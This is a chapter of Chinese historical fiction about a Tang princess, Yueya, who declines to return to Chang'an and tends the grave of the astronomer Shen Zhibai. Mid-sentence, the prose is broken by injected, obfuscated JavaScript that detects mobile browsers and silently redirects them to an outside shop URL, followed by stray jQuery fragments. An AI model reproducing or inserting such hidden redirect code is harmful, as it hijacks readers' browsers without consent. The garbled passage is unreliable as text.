贞观二十三年腊月，长安城里的消息传到碎叶时，已经过了整整两个月。
送信的驿卒骑死了三匹马，才把高宗皇帝登基的诏书送到安西都护府。都护府的官员们忙着更换门前的旗帜，把“贞观”年号的旗子取下来，换上“永徽”的新旗。新旧交替之间，总有一种说不清的怅惘，像冬天草原上刮过的风，冷得彻骨。
月牙收到那封密信的时候，正在帐篷里教统叶护可汗的幼女阿史那明月认字。明月今年才六岁，长得粉雕玉琢，一双大眼睛像两颗黑葡萄，是月牙在突厥王庭中最亲近的人。
“可敦，”明月趴在她膝盖上，指着信纸上的汉字，“这个字念什么？”
“念‘归’，”月牙说，“回家的意思。”
“回家？”明月歪着头，“可敦的家在哪里？是在长安吗？”
月牙愣了一下。她看着帐篷外面茫茫的草原，看着远处雪山的轮廓，看着天空中南飞的雁阵，沉默了很久。
“我的家，”她慢慢地说，“在一个很远的地方。那里的春天有桃花，夏天有荷花，秋天有菊花，冬天有梅花。一年四季都有花开。”
“那为什么可敦不回去呢？”
月牙把明月抱起来，让她坐在自己腿上，轻轻捏了捏她的小鼻子：“因为这里有一个人，需要我留下来。”
“谁呀？”
“你呀。”
明月咯咯地笑起来，搂住了月牙的脖子。
信烧成灰烬之后，月牙提笔写了一封回信。她用的是一张薄薄的宣纸，那是她从长安带来的最后一张宣纸了，这些年一直舍不得用，藏在箱子的最底层，上面压着那套《文选》和《史记》。
信很短，只有几行字：
“臣女阿史那月牙，叩请陛下圣安。西域初定，百废待兴，突厥各部归附之心未固，默啜余党仍在暗中活动。臣女若此时离去，前功尽弃。请陛下容臣女再留几年，待西域彻底安定，臣女自当归京陛见。”
她没有说“几年”是多久。她自己也不知道。
信送出去之后，月牙骑着马去了观星台的遗址。
冬天的碎叶城一片萧瑟，草原上的草都枯了，只剩下一些干硬的草茬子扎在冻土里，踩上去咯吱咯吱地响。热海上空的雾气比夏天更浓，远远望去，像是一片白色的海。
观星台的石头已经被风沙磨去了棱角，变得圆润光滑。沈知白的衣冠冢上长满了枯草，墓碑上的字被风雨侵蚀得有些模糊了。月牙蹲下来，用手指一笔一划地把那些字重新描了一遍。
“大唐天文官沈知白之墓。”
她描完最后一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697218|208010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字，手指停在“白”字的那一横上，久久没有收回来。
“沈大人，”她轻声说，“你说过，人死了会变成星星。那你现在一定在天上看着我吧？你看，我又做了一件蠢事。我拒绝了回长安的机会。”
她笑了一下，笑容里有几分自嘲。
“其实不是蠢事。是我自己不想回去。长安对我来说，已经不是一个地方了。它是一段时间，一段回不去的时间。你在的时候，长安才是长安。你不在了，长安只是一座城。”
风吹过来，墓碑上的沙土被吹走了，字迹又变得模糊了。月牙从袖中掏出一块手帕，仔细地把墓碑擦拭干净。手帕是白色的，角上绣着一朵小小的兰花。那是她在长安时，宫中的绣娘教她绣的。
她把手帕叠好，压在墓碑下面，起身离开了。
走了几步，她忽然停下来，回头看了一眼。
夕阳正好落在墓碑后面，金色的光芒穿过墓碑的缝隙，在她的脸上投下一道长长的影子。她眯起眼睛，恍惚间觉得那块墓碑像是一个人站在那里，清瘦的，沉默的，修长的手指间夹着一支笔，正在记录着什么。
她摇了摇头，翻身上马，策马奔回了王庭。
马蹄声在草原上渐渐远去，夕阳把她的影子拉得很长很长，像一支射向天边的箭。